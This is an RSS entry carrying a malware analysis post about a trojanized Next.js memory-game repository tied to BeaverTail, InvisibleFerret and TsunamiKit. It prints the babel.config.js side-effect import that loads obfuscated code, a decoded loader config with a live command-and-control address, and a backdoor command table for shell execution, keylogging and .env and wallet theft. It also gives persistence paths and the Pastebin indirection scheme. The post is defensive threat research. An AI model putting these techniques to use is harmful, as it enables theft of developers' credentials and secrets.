<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 0one</title>
    <description>The latest articles on DEV Community by 0one (@0one).</description>
    <link>https://dev.to/0one</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F99mvlsfu5tfj9m7ku25d.png</url>
      <title>DEV Community: 0one</title>
      <link>https://dev.to/0one</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/0one"/>
    <language>en</language>
    <item>
      <title>Inside a Trojanized Next.js Project: BeaverTail, InvisibleFerret, and a Hidden TsunamiKit Loader</title>
      <dc:creator>0one</dc:creator>
      <pubDate>Fri, 30 Oct 2026 14:50:34 +0000</pubDate>
      <link>https://dev.to/0one/inside-a-trojanized-nextjs-project-beavertail-invisibleferret-and-a-hidden-tsunamikit-loader-815</link>
      <guid>https://dev.to/0one/inside-a-trojanized-nextjs-project-beavertail-invisibleferret-and-a-hidden-tsunamikit-loader-815</guid>
      <description>&lt;p&gt;&lt;em&gt;Technical malware analysis · 30 October 2026&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A seemingly ordinary Next.js memory game led to a multi-stage infection built around JavaScript, a private Python runtime, a remote-access backdoor, and an unusually elaborate TsunamiKit loader. Recovered samples connect the &lt;strong&gt;BeaverTail–InvisibleFerret&lt;/strong&gt; toolchain to an embedded &lt;strong&gt;TsunamiInjector&lt;/strong&gt; that conceals 1,000 Pastebin profile URLs and prepares a misleading &lt;code&gt;Runtime Broker.exe&lt;/code&gt; installer.&lt;/p&gt;

&lt;p&gt;The most striking result is a direct source-level link between two recovered files: the obfuscated Startup script decodes to the same TsunamiInjector template embedded in the &lt;code&gt;bow&lt;/code&gt; component. Its normalized plaintext SHA-256 is identical on both sides. This makes it possible to reconstruct much of the attack from actual recovered artifacts, rather than relying on campaign descriptions alone.&lt;/p&gt;

&lt;p&gt;The case fits the &lt;strong&gt;Contagious Interview / DeceptiveDevelopment&lt;/strong&gt; ecosystem described by Unit 42, Group-IB and ESET. Those researchers have tied the campaign to North Korea-aligned operations, frequently discussed under the wider Lazarus umbrella. The evidence here supplies an additional, specific example of the same tooling and techniques. [1][2][3]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Contents:&lt;/strong&gt; Infection chain · Reverse engineering · Infrastructure and research · Annotated decoded code · IOCs and technical reference · References&lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The infection in two minutes
&lt;/h2&gt;

&lt;p&gt;The starting point was a JavaScript repository presented as an audio memory game. A preserved development-shell history contains a clone operation for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hxxps://bitbucket[.]org/md-15/music-game[.]git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The recorded workflow then includes &lt;code&gt;npm run dev&lt;/code&gt;, &lt;code&gt;npm install&lt;/code&gt;, and a retry with &lt;code&gt;npm install --legacy-peer-deps&lt;/code&gt;. An npm dependency-resolution report for &lt;code&gt;memaudio@1.19.0&lt;/code&gt; and a VS Code workspace tied to &lt;code&gt;music-game&lt;/code&gt; place this activity immediately before a burst of suspicious file creation.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;11 February 2025 (CET)&lt;/th&gt;
&lt;th&gt;Recovered event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;~13:07&lt;/td&gt;
&lt;td&gt;Development workspace and repository workflow associated with &lt;code&gt;music-game&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:08:02&lt;/td&gt;
&lt;td&gt;npm dependency-resolution artifact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:09:15&lt;/td&gt;
&lt;td&gt;Thousands of files for a bundled Python 3.11 runtime appear in &lt;code&gt;.pyp&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:09:17&lt;/td&gt;
&lt;td&gt;Obfuscated loader &lt;code&gt;.npl&lt;/code&gt; appears&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:09:18&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.n2/pay&lt;/code&gt;, the Python remote-access component, appears&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:09:19&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.n2/bow&lt;/code&gt;, the TsunamiKit-bearing component, appears&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13:09:20&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Windows Update Script.pyw&lt;/code&gt; is created under the user's Startup directory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The on-disk Python environment accounts for approximately &lt;strong&gt;6,551 files&lt;/strong&gt; in the initial creation-time cluster. These aren't thousands of separate payloads: most are interpreter and library files packaged to make the Python stages self-sufficient.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Trojanized music-game project
  └─ Babel configuration → __mocks__/audio-config.js (obfuscated JavaScript)
       ├─ .pyp/                   Bundled Python 3.11 environment
       └─ .npl                    InvisibleFerret loader
            ├─ .n2/pay            RAT, file collection, input capture
            │    └─ 144.172.97.7  HTTP :1224 / TCP :2249
            └─ .n2/bow            Modified module carrying TsunamiInjector
                 └─ Startup/Windows Update Script.pyw
                      ├─ 1,000 encoded Pastebin profile URLs
                      └─ Runtime Broker.exe (later-stage installer target)
                           └─ Later .NET TsunamiKit stages (literature)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The diagram shows the files and code relationships recovered in this case. The further .NET stages at the bottom are part of the documented TsunamiKit architecture, rather than binaries recovered from this host.&lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The JavaScript entry point: a hidden dependency in Babel
&lt;/h2&gt;

&lt;p&gt;The later-preserved repository is a legitimate-looking Next.js 12 / React 18 project named &lt;code&gt;memaudio&lt;/code&gt;, version &lt;code&gt;1.19.0&lt;/code&gt;. Its most revealing file is not an obviously malicious package or a suspicious &lt;code&gt;postinstall&lt;/code&gt; script. It is &lt;code&gt;babel.config.js&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* bandle config */&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;audioConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./__mocks__/audio-config&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;presets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;next/babel&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;styled-components&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;ssr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;displayName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}]],&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;audioConfig&lt;/code&gt; variable is never used. The import exists for its &lt;strong&gt;side effect&lt;/strong&gt;: requiring &lt;code&gt;./__mocks__/audio-config&lt;/code&gt; evaluates that module when Babel loads its configuration. The filename, under a directory usually associated with test fixtures, makes the import appear incidental.&lt;/p&gt;

&lt;p&gt;The target &lt;code&gt;__mocks__/audio-config.js&lt;/code&gt; is &lt;strong&gt;109,196 bytes of heavily obfuscated JavaScript&lt;/strong&gt;. Its string tables contain fragments associated with Brave, &lt;code&gt;.pyp&lt;/code&gt;, &lt;code&gt;/.npl&lt;/code&gt;, the HTTP port &lt;code&gt;1224&lt;/code&gt;, and the C2 address. Its design is consistent with the BeaverTail family, whose job is to collect browser- and wallet-related information and deliver a Python backdoor. The full dynamic JavaScript call graph was not reconstructed, but the separate Python payloads and their tight creation-time sequence establish the next stages in much greater detail.&lt;/p&gt;

&lt;p&gt;This is an important distinction from many malicious npm-package incidents. In the archived project, the apparent attack surface is an &lt;strong&gt;ordinary application file imported by developer tooling&lt;/strong&gt;, not one of the six malicious npm distributions described in a separate Logpresso campaign. Developers inspecting a repository may run the build or development server long before reviewing every top-level import. [4]&lt;/p&gt;

&lt;h2&gt;
  
  
  2. InvisibleFerret's &lt;code&gt;.npl&lt;/code&gt;: unpacking the second stage
&lt;/h2&gt;

&lt;p&gt;The first recovered Python script, &lt;code&gt;%USERPROFILE%\.npl&lt;/code&gt;, is only &lt;strong&gt;6,503 bytes&lt;/strong&gt; in its obfuscated form. It expands to &lt;strong&gt;1,988 bytes of readable Python&lt;/strong&gt; after 64 rounds of the same reversed Base64 and zlib wrapper.&lt;/p&gt;

&lt;p&gt;The decoded configuration identifies the controller and campaign selectors:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;gType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;102&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;host1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;144.172.97.7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;host2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:1224&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;pd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.n2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Its behavior is straightforward. It detects the host operating system, ensures the &lt;code&gt;requests&lt;/code&gt; library is available, creates &lt;code&gt;.n2&lt;/code&gt;, and downloads two Python modules. On Windows, each is started using the bundled Python interpreter with console-window suppression flags.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Download path&lt;/th&gt;
&lt;th&gt;Saved file&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/payload/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.n2/pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Main InvisibleFerret backdoor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/brow/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.n2/bow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Browser-module slot, replaced here by a TsunamiKit-bearing loader&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The plain filenames matter: neither &lt;code&gt;pay&lt;/code&gt; nor &lt;code&gt;bow&lt;/code&gt; needs a &lt;code&gt;.py&lt;/code&gt; extension to be launched by Python. A search limited to Python extensions would miss them.&lt;/p&gt;

&lt;p&gt;The loader contains several commented-out references to private address &lt;code&gt;10.10.51.212&lt;/code&gt;. They are development remnants, not the configured external C2. The active server address in the recovered source is &lt;code&gt;144.172.97.7&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. InvisibleFerret's &lt;code&gt;pay&lt;/code&gt;: a full remote-access backdoor
&lt;/h2&gt;

&lt;p&gt;The second component, &lt;code&gt;%USERPROFILE%\.n2\pay&lt;/code&gt;, is &lt;strong&gt;22,235 bytes&lt;/strong&gt; on disk and &lt;strong&gt;27,637 bytes&lt;/strong&gt; after 64 decoding rounds. It contains the most direct evidence of what the attackers could do after the first-stage installation.&lt;/p&gt;

&lt;p&gt;At startup, it builds a host identifier using the computer's hostname, username and a SHA-256-derived machine fingerprint. It also queries &lt;code&gt;ip-api[.]com/json&lt;/code&gt; for external-IP geolocation and prepares registration data for the C2's &lt;code&gt;/keys&lt;/code&gt; endpoint.&lt;/p&gt;

&lt;p&gt;The outbound registration is structured around these fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;milliseconds since epoch&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"10"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"102_&amp;lt;hostname&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sys_info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;stringified system and network details&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  A custom TCP control channel
&lt;/h3&gt;

&lt;p&gt;After registration, &lt;code&gt;pay&lt;/code&gt; runs a persistent client that attempts to connect to &lt;strong&gt;&lt;code&gt;144.172.97.7:2249&lt;/code&gt;&lt;/strong&gt;. Unlike the HTTP stage downloader, this is a custom, length-prefixed JSON socket protocol:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────┬─────────────────────────────────┐
│ 4-byte big-endian length    │ JSON command / response body    │
└─────────────────────────────┴─────────────────────────────────┘
                                 {"code": 1, "args": "..."}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decoded source uses Python's &lt;code&gt;struct.pack('&amp;gt;I', ...)&lt;/code&gt; for the message length, announces the host with a code-0 message, and starts a worker thread when a recognized controller command arrives. The reconnect loop allows the component to resume contact after temporary failures.&lt;/p&gt;

&lt;h3&gt;
  
  
  Eight commands recovered from the sample
&lt;/h3&gt;

&lt;p&gt;The command dispatcher matches the function names published by Group-IB, providing a particularly strong code-level family correlation. [2]&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Handler&lt;/th&gt;
&lt;th&gt;Decoded capability&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_obj&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute shell commands and return output or errors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_cmd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Terminate Python processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_clip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Return the buffered keyboard/clipboard capture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Re-download and start the &lt;code&gt;/brow/10/102&lt;/code&gt; module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_upload&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Upload chosen files, directories, or filename-pattern matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_kill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Terminate Chrome and Brave processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Retrieve and launch an additional &lt;code&gt;/adc/10&lt;/code&gt; module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_env&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Find and upload developer &lt;code&gt;.env&lt;/code&gt; files&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Command 1 uses shell-backed subprocess execution and reports the resulting text. Command 3 transmits the input buffer. Commands 5 and 8 transfer local files to the HTTP endpoint &lt;code&gt;/uploads&lt;/code&gt;. Command 7's path and name correspond to an AnyDesk-related auxiliary module discussed in related research; the &lt;code&gt;adc&lt;/code&gt; binary was not part of the recovered files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Developer secrets are an explicit target
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;pay&lt;/code&gt; source includes a target-term array covering &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;config.js&lt;/code&gt;, &lt;code&gt;secret&lt;/code&gt;, &lt;code&gt;metamask&lt;/code&gt;, &lt;code&gt;wallet&lt;/code&gt;, &lt;code&gt;private&lt;/code&gt;, &lt;code&gt;mnemonic&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, and &lt;code&gt;account&lt;/code&gt;, alongside document extensions such as &lt;code&gt;.xls&lt;/code&gt;, &lt;code&gt;.xlsx&lt;/code&gt;, &lt;code&gt;.doc&lt;/code&gt;, and &lt;code&gt;.docx&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;ssh_env&lt;/code&gt; routine can scan drive letters &lt;strong&gt;C: through G:&lt;/strong&gt; for &lt;code&gt;*.env&lt;/code&gt; files and send matching content to the controller. It skips large classes of irrelevant or noisy directories, including &lt;code&gt;node_modules&lt;/code&gt;, &lt;code&gt;.git&lt;/code&gt;, build output, and various caches. The targeting makes sense for developer workstations: environment files routinely contain database URLs, API keys, secrets and deployment credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keyboard and clipboard interception
&lt;/h3&gt;

&lt;p&gt;The Windows-specific portion imports &lt;code&gt;pyHook&lt;/code&gt; through &lt;strong&gt;&lt;code&gt;pyWinhook&lt;/code&gt;&lt;/strong&gt;, uses &lt;strong&gt;&lt;code&gt;pywin32&lt;/code&gt;&lt;/strong&gt; to inspect the active foreground window, and calls &lt;strong&gt;&lt;code&gt;pyperclip&lt;/code&gt;&lt;/strong&gt; around clipboard interactions. The recovered hook names are &lt;code&gt;KeyDown&lt;/code&gt;, &lt;code&gt;MouseLeftDown&lt;/code&gt;, and &lt;code&gt;MouseRightDown&lt;/code&gt;. A callback records window and process context before appending captured keystrokes to an in-memory buffer.&lt;/p&gt;

&lt;p&gt;This input-monitoring functionality is directly present in the recovered Python code, not merely inferred from a library filename. It is one of the clearest reasons to regard &lt;code&gt;pay&lt;/code&gt; as an interactive information-stealing RAT rather than a simple downloader.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. The unexpected payload in &lt;code&gt;bow&lt;/code&gt;: TsunamiKit
&lt;/h2&gt;

&lt;p&gt;Historically, InvisibleFerret's &lt;code&gt;bow&lt;/code&gt; module often handles browser-data theft. The recovered &lt;code&gt;%USERPROFILE%\.n2\bow&lt;/code&gt;, however, takes a different form. Its &lt;strong&gt;257,995-byte&lt;/strong&gt; wrapper requires &lt;strong&gt;114&lt;/strong&gt; decoding rounds and yields &lt;strong&gt;205,768 bytes&lt;/strong&gt; of Python source. Most of that source is an embedded, roughly 199 KB script called &lt;code&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It begins with a distinctive quotation about the value of a moment, which ESET also identifies in its discussion of &lt;strong&gt;TsunamiLoader&lt;/strong&gt;. More importantly, it contains the generator for the very Startup payload independently recovered in this case. [3]&lt;/p&gt;

&lt;p&gt;The loader checks for a system Python installation, has a fallback for downloading the official Python 3.11.0 installer, and uses Windows' &lt;code&gt;runas&lt;/code&gt; verb to request administrative installation when needed. Separately, it constructs a 50-layer obfuscated copy of the embedded injector and places it at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The presence of both a portable &lt;code&gt;.pyp&lt;/code&gt; runtime and a system-Python installation fallback is notable: the former gets InvisibleFerret running without relying on preinstalled tools; the latter is part of the TsunamiKit loader's own installation logic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Direct proof that &lt;code&gt;bow&lt;/code&gt; generated the Startup payload
&lt;/h3&gt;

&lt;p&gt;Two separately recovered samples were decoded:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bow&lt;/code&gt;: 114 layers, yielding a source string named &lt;code&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Windows Update Script.pyw&lt;/code&gt;: 50 layers, yielding the actual installed injector plaintext.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The generator substitutes a randomized &lt;code&gt;RandVar&lt;/code&gt; numeric value before writing the second file. When that one changing value is normalized to a placeholder, the sources are &lt;strong&gt;identical&lt;/strong&gt;. Both normalize to SHA-256:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c571be1970eadbe808bc5d18f91d70af482b9bb14366dca66dcdbb88f9058e33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the strongest &lt;em&gt;within-case&lt;/em&gt; linkage: &lt;code&gt;bow&lt;/code&gt; is not just similar to the Startup script; its embedded source is the exact template from which that file was produced.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Inside TsunamiInjector: 1,000 Pastebin profiles and &lt;code&gt;Runtime Broker.exe&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The recovered Startup payload is &lt;strong&gt;123,030 bytes&lt;/strong&gt; in obfuscated form and &lt;strong&gt;198,658 bytes&lt;/strong&gt; after 50 decoding rounds. Its main job is to resolve an encoded installer location, unpack another payload, and prepare a persistent task under a misleading Windows-like name.&lt;/p&gt;

&lt;h3&gt;
  
  
  The encoded infrastructure
&lt;/h3&gt;

&lt;p&gt;One function contains precisely &lt;strong&gt;1,000 encoded strings&lt;/strong&gt;. Each string can be decoded without executing the malware:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hex string
    ↓
Hex-decoded bytes
    ↓ XOR with repeating key
Base64 bytes
    ↓ decode, then reverse
HTTPS Pastebin profile URL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The embedded XOR key is unusually distinctive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!!!HappyPenguin1950!!!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 1,000 decoded entries point to &lt;code&gt;pastebin[.]com/u/&lt;/code&gt; profile URLs. Examples from the recovered array include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hxxps://pastebin[.]com/u/FileplanetPhilosophy7264_LegendAccidental6833
hxxps://pastebin[.]com/u/OccupiedColombia9504_AssessOutdoors1323
hxxps://pastebin[.]com/u/SucceedMarilyn6486_CompoundsPrelude4368
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intended loader searches a candidate page for another URL, then uses that value as a location from which to obtain the next installer. The profiles act as an indirection layer between the initial malware and its later-stage binary.&lt;/p&gt;

&lt;p&gt;The full list of 1,000 profiles was decoded offline; representative entries are shown above. It is not reproduced in full in this post.&lt;/p&gt;

&lt;h3&gt;
  
  
  The misleading executable and scheduled task
&lt;/h3&gt;

&lt;p&gt;The injector targets an executable named &lt;strong&gt;&lt;code&gt;Runtime Broker.exe&lt;/code&gt;&lt;/strong&gt;—with a space—inside a user-writable application directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



